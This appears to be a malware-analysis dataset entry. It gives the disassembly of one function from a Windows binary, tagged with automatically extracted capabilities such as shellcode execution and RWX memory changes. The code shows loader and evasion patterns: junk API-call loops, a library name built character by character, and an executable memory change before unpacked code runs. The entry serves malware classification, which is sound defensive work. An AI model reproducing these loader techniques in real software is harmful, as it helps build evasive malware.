Function at 0x41f920
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Create mailslot
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Query environment variable
Read .ini file
Receive http response

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x421eac
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x3200
call fcn.0040cdb0
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharUpperBuffA]
xor ebx, ebx
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e169
jge 0x41f96e
push ebx
push ebx
call edi
call ebp
cmp esi, 0x1e9b1d8e
jle 0x41f98a
cmp dword [esp + 0x14], 0xc095d8
je 0x41f98a
cmp dword [esp + 0x2c], 0x903b058
jne 0x41f993
inc esi
cmp esi, 0x98a5a
jl 0x41f960
cmp dword [0x22742a8], 0xcf8
jne 0x41faf3
push ebx
push ebx
push ebx
call fcn.00404ef2
push 0x40339c
push ebx
call fcn.00404ef2
push ebx
push ebx
push ebx
push ebx
call fcn.00404bea
push ebx
push ebx
call fcn.0040450f
push ebx
call fcn.00404aaf
push ebx
call fcn.00405067
add esp, 0x34
mov dword [esp + 0x70], ebx
mov dword [esp + 0x74], ebx
mov dword [esp + 0x78], ebx
mov dword [esp + 0x321c], ebx
mov edi, 0xf
xor eax, eax
mov dword [esp + 0x34], edi
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], 0
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41fa00
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x41fa1a
push 0x4036d4
call fcn.0040425b
cmp esi, edi
jbe 0x41fa2c
push ebx
push esi
lea eax, [esp + 0x28]
push eax
call fcn.00403f60
jmp 0x41fa39
cmp esi, ebx
jne 0x41fa3b
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], 0
cmp esi, ebx
seta al
mov ebp, 0x10
test al, al
je 0x41fa76
mov eax, dword [esp + 0x20]
cmp dword [esp + 0x34], ebp
jae 0x41fa55
lea eax, [esp + 0x20]
push esi
push ebx
push eax
call fcn.0040afc0
mov eax, dword [esp + 0x2c]
add esp, 0xc
mov dword [esp + 0x30], esi
cmp dword [esp + 0x34], ebp
jae 0x41fa72
lea eax, [esp + 0x20]
mov byte [eax + esi], 0
cmp dword [esp + 0x34], ebp
jb 0x41fa89
mov ecx, dword [esp + 0x20]
push ecx
call fcn.00404faf
add esp, 4
mov dword [esp + 0x60], ebx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], ebx
mov byte [esp + 0x321c], 2
mov dword [esp + 0x34], edi
mov edi, 1
mov eax, 0x4033a8
lea esi, [esp + 0x20]
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], 0
call fcn.00403bd0
lea ecx, [esp + 0x60]
mov byte [esp + 0x321c], 3
call fcn.00403b50
mov ecx, dword [esp + 0x64]
mov edx, esi
push edx
call fcn.00404110
cmp dword [esp + 0x34], ebp
jb 0x41faed
mov eax, dword [esp + 0x20]
push eax
call fcn.00404faf
add esp, 4
push ebx
call fcn.00404ea0
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
xor esi, esi
cmp esi, 0x408
jne 0x41fb1a
mov eax, 0x5d1
add dword [0x22742a8], eax
cmp dword [0x22742a8], 3
jne 0x41fb39
push 0
call edi
push 0
push 0
call ebx
push 0
lea ecx, [esp + 0x614]
push ecx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x41fb07
call fcn.0041f670
mov eax, dword [0x22742a8]
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
test eax, eax
je 0x41fbb8
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_SetThreadUILanguage]
cmp eax, 0xfe
jne 0x41fb8f
push 0
call ebx
push 0
call ebp
xor edx, edx
lea ecx, [esp + 0x14]
push ecx
push edx
push edx
lea eax, [esp + 0x21c]
push eax
push edx
mov dword [esp + 0x2c], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
call fcn.0041f6b0
mov eax, dword [0x22742a8]
cmp eax, 0x29
jne 0x41fbb3
call edi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov eax, dword [0x22742a8]
inc esi
cmp esi, eax
jb 0x41fb64
cmp eax, 0x70
jne 0x41fc5c
push 0
lea ecx, [esp + 0x614]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0x4033ac
push 0x4033c8
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
mov esi, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call esi
call edi
call edi
push 0x4033d8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
lea edx, [esp + 0x14]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push 0
push 0
lea eax, [esp + 0x2218]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea ecx, [esp + 0xe14]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
push 0
call esi
push 0x4033e0
push 0x4034c0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0x22742a8]
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov dword [esp + 0x14], 0x9682ab
lea esp, [esp]
cmp eax, 3
jne 0x41fcb6
push 0
lea edx, [esp + 0x90]
push edx
push 0
lea eax, [esp + 0x21c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
lea ecx, [esp + 0xd0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [0x22742a8]
cmp eax, 0xdf
jne 0x41ff2b
push 0x40349c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
xor edx, edx
lea ecx, [esp + 0x84]
push ecx
push edx
push edx
lea eax, [esp + 0x21c]
push eax
push edx
mov dword [esp + 0x2c], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push 0x403508
push 0x403548
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push 0
push 0
push 0
call esi
lea ecx, [esp + 0x98]
push ecx
call edi
push 0
push 0
lea edx, [esp + 0x98]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push 0
lea eax, [esp + 0x54]
push eax
call ebp
push 0
push 0
push 0
push 0x40351c
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
mov ecx, dword [esp + 0x50]
push ecx
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
push 0
lea edx, [esp + 0x1614]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x88]
push eax
push 0
lea ecx, [esp + 0x28]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0x40358c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
lea edx, [esp + 0x98]
push edx
call ebp
push 0
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea ecx, [esp + 0x5c]
push ecx
call edi
lea edx, [esp + 0x58]
push edx
push 0
lea eax, [esp + 0xe18]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
lea ecx, [esp + 0x4c]
push ecx
push 0x403594
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
xor eax, eax
lea edx, [esp + 0x70]
push edx
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], eax
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapWalk]
lea eax, [esp + 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
lea ecx, [esp + 0x2214]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0x4035b0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
push 0
lea edx, [esp + 0x614]
push edx
push 0x403620
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea eax, [esp + 0x1a14]
push eax
push 0x403640
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x2a14]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea eax, [esp + 0xa4]
push 0
push eax
mov dword [esp + 0xa8], 0
call fcn.004063f0
add esp, 0xc
push 0
lea ecx, [esp + 0xa0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [0x22742a8]
dec dword [esp + 0x14]
jne 0x41fc80
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
push 0
call edi
push 0
call ebx
dec esi
jne 0x41ff46
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
lea esp, [esp]
cmp dword [0x22742a8], 0x222
jne 0x41ff70
push 0
call esi
dec edi
jne 0x41ff60
mov eax, dword [0x22742a8]
mov ecx, dword [0x44040c]
lea edx, [esp + 0x1c]
push edx
push 0x40
push eax
push ecx
mov byte [0x43b678], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0041f8d0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
xor esi, esi
cmp dword [0x22742a8], 0xba
jne 0x41ffba
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x41ffc7
call fcn.0041f690
inc esi
cmp esi, 0x1605a
jl 0x41ffa1
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov edi, dword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov ebx, 0xf2b8b
cmp dword [0x22742a8], 0x21
jne 0x41fff6
push 0
push 0
push 0
push 0
call esi
call edi
dec ebx
jne 0x41ffe1
mov eax, 0x73
mov ecx, 0x6d
mov word [0x22732ba], ax
mov word [0x22732be], cx
xor ecx, ecx
mov edx, 0x33
mov eax, 0x67
mov word [0x22732c2], dx
mov word [0x22732ce], cx
mov word [0x22732c0], ax
mov ecx, 0x69
mov edx, 0x6d
mov eax, 0x6c
push 0x22732b8
mov dword [0x22732c8], 0x6c0064
mov word [0x22732bc], cx
mov word [0x22732b8], dx
mov word [0x22732cc], ax
mov dword [0x22732c4], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x22742a8], 0xc30
jne 0x4200f1
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push ebx
lea eax, [esp + 0x20]
push eax
push ebx
lea ecx, [esp + 0x61c]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push ebx
lea edx, [esp + 0x2a14]
push edx
lea eax, [esp + 0x54]
push eax
lea ecx, [esp + 0x64]
push ecx
lea edx, [esp + 0x6c]
push edx
lea eax, [esp + 0x68]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommMask]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov ecx, dword [esp + 0x3214]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret